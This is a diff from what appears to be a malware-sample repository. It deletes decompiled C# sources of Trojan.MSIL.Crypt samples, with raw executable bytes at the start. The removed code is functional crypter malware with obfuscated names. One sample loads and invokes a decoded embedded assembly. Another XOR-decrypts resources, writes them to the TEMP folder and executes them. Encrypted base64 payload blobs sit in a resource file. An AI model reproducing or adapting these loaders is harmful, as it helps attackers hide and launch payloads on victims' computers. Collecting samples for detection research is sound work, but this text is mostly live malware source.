Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - MZ�������ÿÿ��¸�������@�����������������������������������€���º�´ Í!¸LÍ!This program cannot be run in DOS mode. -$�������PE��L�:²ÑN��������à� ��(��<������ÎF�� ���`���@�� ��������������������À���������@…���������������������������€F�K����`�˜8������������������� � ���������������������������������������������������� ������������� ��H�����������.text���Ô&�� ���(���������������� ��`.rsrc���˜8���`��:���*�������������@��@.reloc�� ���� �����d�������������@��B����������������°F�����H�����$ì�\Z�������€#��¡È�����������������������������������������0�(����r��p(��( -�� - -r)��po �� -s �� - ~��rW��po �� -t�� re��p(�� r‡��p(�� (��(�� -(�� - (�� -r©��p(�� -o�� -o�� -o�� -8���šo�� -o�� -(�� -r»��p(�� -o�� -o�� -(�� -,H��¢Œ��¢rÕ��p¢rñ��p¢Œ��¢Œ��¢o�� -&XŽi?tÿÿÿÞo�� -(�� -&Þ�*A�������������������0�«�����rû��p -  o�� -Y o�� -Y  +D+6þ��t�� o�� -(�� -(�� -Œ ��(�� - -X1Å X 1¸rý��prû��po�� - - ��( �� -o!�� - -(�� -("�� -o�� - -*�0�E�����s#�� - -($�� - (%�� -o&�� -   o'�� -s(�� -Žio)�� -o*�� -o+�� -*���0�V�����s#�� - -($�� - (%�� -o&�� -   o'�� -s(�� -Žio)�� -o*�� -o+�� -ŽiY(��+*��0�������s-�� -&- -(.�� -(/�� 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a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀȞƉƁơȣƥ.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀȞƉƁơȣƥ.cs deleted file mode 100644 index 1a4db4ff..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c/ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀȞƉƁơȣƥ.cs +++ /dev/null @@ -1,65 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ƂƋǢƆƜƑƳƕƐҿƐƀӂƴƆƒǣȄֆփҧƪƲǣǢǤƛպƅȜȮƆƥƉռƱȣƂƘȜƋփƓƜƗӸƓƄӂǎǎƣƑƘǭƳƙǭƒǍƆƛƱƴƄƉ.ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀǣƔơƁǢƂӸǣӸռȮƘƱӂռӂƴơƜǎȄҿƣƖƑƳƁƘȄƲռȣƓƘƒƎƀȣǥƀƈƔƓƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀƎƗֆƗƘƂƆƴƪǎֆƖƅƀȣƖƕƩƓƎƒӂƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱȄƪǍƳƛƜǥƳƅǍǣӸǎƜƙǤƄƂպƛǭǥƈƲƔƪǣƩփƍƗƓǭҧȞƛӸƳƉƜȮƳȄƓ -// Assembly: irctest, Version=3.7.13.81, Culture=neutral, PublicKeyToken=null -// MVID: E8603CA8-99A5-4ED3-9DEC-29779268D8F4 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.emp-dc94b4affda2f2ccce65e9c70d5673c796c1418ffe11e1c956bda870d636758c.exe - -using System; -using System.Reflection; -using System.Resources; -using System.Text; -using System.Windows.Forms; - -namespace ƂƋǢƆƜƑƳƕƐҿƐƀӂƴƆƒǣȄֆփҧƪƲǣǢǤƛպƅȜȮƆƥƉռƱȣƂƘȜƋփƓƜƗӸƓƄӂǎǎƣƑƘǭƳƙǭƒǍƆƛƱƴƄƉ -{ - internal class ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀǣƔơƁǢƂӸǣӸռȮƘƱӂռӂƴơƜǎȄҿƣƖƑƳƁƘȄƲռȣƓƘƒƎƀȣǥƀƈƔƓƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀƎƗֆƗƘƂƆƴƪǎֆƖƅƀȣƖƕƩƓƎƒӂƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱȄƪǍƳƛƜǥƳƅǍǣӸǎƜƙǤƄƂպƛǭǥƈƲƔƪǣƩփƍƗƓǭҧȞƛӸƳƉƜȮƳȄƓ - { - public static ResourceManager ƑƑƁƈƒƣƀƗƆƔƕփֆƘǣƂҿƅƄƎƕƪ = new ResourceManager("afx1SUIp4303", Assembly.GetExecutingAssembly()); - - private static void Main() - { - try - { - ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀǣƔơƁǢƂӸǣӸռȮƘƱӂռӂƴơƜǎȄҿƣƖƑƳƁƘȄƲռȣƓƘƒƎƀȣǥƀƈƔƓƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀƎƗֆƗƘƂƆƴƪǎֆƖƅƀȣƖƕƩƓƎƒӂƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱȄƪǍƳƛƜǥƳƅǍǣӸǎƜƙǤƄƂպƛǭǥƈƲƔƪǣƩփƍƗƓǭҧȞƛӸƳƉƜȮƳȄƓ.ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒӂƲƘƉǭƀӸǥƀռƂƏƐƙƂƆƣƀƛƲҿƔȜƖȞǍƂƔƂƔƱƪƆǎƔƂƋȣǥռƄӂƪƕ(Encoding.Default.GetBytes((string) ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮȞƉƁơȣƥƁҧȣƕӂƴƍƴƔƛȜֆҧƩƔȮǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀǣƔơƁǢƂӸǣӸռȮƘƱӂռӂƴơƜǎȄҿƣƖƑƳƁƘȄƲռȣƓƘƒƎƀȣǥƀƈƔƓƒǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀƎƗֆƗƘƂƆƴƪǎֆƖƅƀȣƖƕƩƓƎƒӂƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱȄƪǍƳƛƜǥƳƅǍǣӸǎƜƙǤƄƂպƛǭǥƈƲƔƪǣƩփƍƗƓǭҧȞƛӸƳƉƜȮƳȄƓ.ƑƑƁƈƒƣƀƗƆƔƕփֆƘǣƂҿƅƄƎƕƪ.GetObject("aJV37wKv5MDwR4It78jOUT"))); - } - catch (Exception ex) - { - int num = (int) MessageBox.Show(ex.ToString()); - } - } - - public static void ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒӂƲƘƉǭƀӸǥƀռƂƏƐƙƂƆƣƀƛƲҿƔȜƖȞǍƂƔƂƔƱƪƆǎƔƂƋȣǥռƄӂƪƕ( - byte[] ƐƓƅƥƍƔպƖƖǎơƐƗƜƥƩƖȞƩƛȄƆƒƑƥƱǣƅռǥӂơƍƥƣƜӸƏƑƱƘƲƏƙ) - { - MethodInfo entryPoint = Assembly.Load(ƐƓƅƥƍƔպƖƖǎơƐƗƜƥƩƖȞƩƛȄƆƒƑƥƱǣƅռǥӂơƍƥƣƜӸƏƑƱƘƲƏƙ).EntryPoint; - object[] parameters = (object[]) null; - if (entryPoint.GetParameters().Length > 0) - parameters = new object[1] - { - (object) new string[1]{ "1" } - }; - entryPoint.Invoke((object) null, parameters); - } - - public static byte[] ǍƐƑƉƗӂǍƉǭƳƁӸƲƛƙƓƁƓƪơƔƀƔƍƁƓƓƒƜȣƘƳƘƅփƴƳҧƪƍǭȄƩպƒƕҿӸƒƂǎƂƖǤƴӸƔƏƣǣǍƙӸƙӸƏEn( - byte[] ƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱ, - string ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒ) - { - byte[] bytes = Encoding.ASCII.GetBytes(ƆƕơǎƀƙփƛƥƳӂȣƄƳպƐȞƄƒƕȞƒ); - int num = (int) ƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱ[ƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱ.Length - 1]; - byte[] numArray = new byte[ƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱ.Length - 1]; - short index1 = 0; - for (int index2 = 0; index2 < ƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱ.Length - 1; ++index2) - { - if ((int) index1 >= bytes.Length) - index1 = (short) 0; - if (index2 < ƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱ.Length - 1) - { - numArray[index2] = Convert.ToByte((int) ƣȮƩƅơҿƱպơƲҿƜƏƥƱǭҧƖƏƓƂƱ[index2] - numArray.Length % bytes.Length - (int) bytes[(int) index1] + num); - ++index1; - } - } - return numArray; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/Class.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/Class.cs deleted file mode 100644 index 3d6f5bd7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/Class.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Namespace.Class -// Assembly: SRzmUu2D, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6553E2D3-714D-4D88-ADD2-37716AA261F3 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2.exe - -using System; -using System.Collections; -using System.Diagnostics; -using System.Globalization; -using System.IO; -using System.Reflection; -using System.Resources; - -namespace Namespace -{ - internal class Class - { - private static byte[] xor(byte[] data, string encryptionKey, int times) - { - for (int index = 0; index < data.Length; ++index) - data[index] ^= (byte) ((int) encryptionKey[index % encryptionKey.Length] >> index + times + encryptionKey.Length & (int) byte.MaxValue); - return data; - } - - public static void Main() - { - try - { - foreach (DictionaryEntry resource in new ResourceManager("NLNC7DCWBhN7KskJo1", Assembly.GetExecutingAssembly()).GetResourceSet(CultureInfo.CurrentCulture, true, true)) - { - string path = Environment.GetEnvironmentVariable("TEMP") + "\\" + resource.Key; - try - { - if (File.Exists(path)) - File.Delete(path); - } - catch - { - } - try - { - File.WriteAllBytes(path, Class.xor((byte[]) resource.Value, "75Q1xTZznGKffhN1SX0lC1o", 8)); - } - catch - { - } - try - { - new Process() { StartInfo = { FileName = path } }.Start(); - } - catch - { - } - } - } - catch - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/NLNC7DCWBhN7KskJo1.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/NLNC7DCWBhN7KskJo1.resx deleted file mode 100644 index 65a4dde4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/NLNC7DCWBhN7KskJo1.resx +++ /dev/null @@ -1,637 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - TW+4DAwFAgEEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAASzMZDQQBAQAAAAAAAAAAAAAAAAAAAAAAAAAA - gAAAAA5zmwINtwjMIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdHRPey12d28gaW4gRE9TIG1vZGUuDQ0K - JAAAAAAAAABQCxgURwIAAdY53U4AAAAAAAAAAOAADgELAQYAAG4AAAA/GhQGBwIBWowAAAAgAAAAoAAA - AABAAAAgAAAAAgAABEclGQwGAgAEAAAAAAAAAADgAAAAAgAAAAAAAAIAAAAAMCYQBhYBAAAAEAAAEAAA - AAAAABAAAAAAAAAAAAAAAAD0KhZYBgIBAMAAAGQEAAAAAAAAAAAAAAAAAAAAAAAAAMgnDAYFAQEAAAAA - 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- bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/Trojan.MSIL.Crypt.ewz.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/Trojan.MSIL.Crypt.ewz.sln deleted file mode 100644 index fd47fb9c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2/Trojan.MSIL.Crypt.ewz.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SRzmUu2D", "Trojan.MSIL.Crypt.ewz-7a475f10ede59058860f5a57968c7f5c88b02eb2c26f6d815c38f41d728afac2.csproj", "{43EE043B-5A77-4367-AFF3-C2AA324BBD23}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {43EE043B-5A77-4367-AFF3-C2AA324BBD23}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {43EE043B-5A77-4367-AFF3-C2AA324BBD23}.Debug|Any CPU.Build.0 = Debug|Any CPU - {43EE043B-5A77-4367-AFF3-C2AA324BBD23}.Release|Any CPU.ActiveCfg = Release|Any CPU - {43EE043B-5A77-4367-AFF3-C2AA324BBD23}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/AssemblyInfo.cs deleted file mode 100644 index fc45db1f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/AssemblyInfo.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCopyright("NQdVEfVfOOBZ")] -[assembly: AssemblyDescription("agNGTSt")] -[assembly: AssemblyTrademark("GiCDzmlsGdVHDm")] -[assembly: AssemblyTitle("ZnTiItZUZ")] -[assembly: Guid("16975567-489a-45f7-9d30-9853f07d0601")] -[assembly: AssemblyProduct("ftQzFnzgZmLic")] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ESCrypter.resx b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ESCrypter.resx deleted file mode 100644 index 1254de9e..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.fd-612a3154c1a311640263e610ddcd7dd90666eb6402b53aae05d2ebb7be08b5f3/ESCrypter.resx +++ /dev/null @@ -1,126 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - 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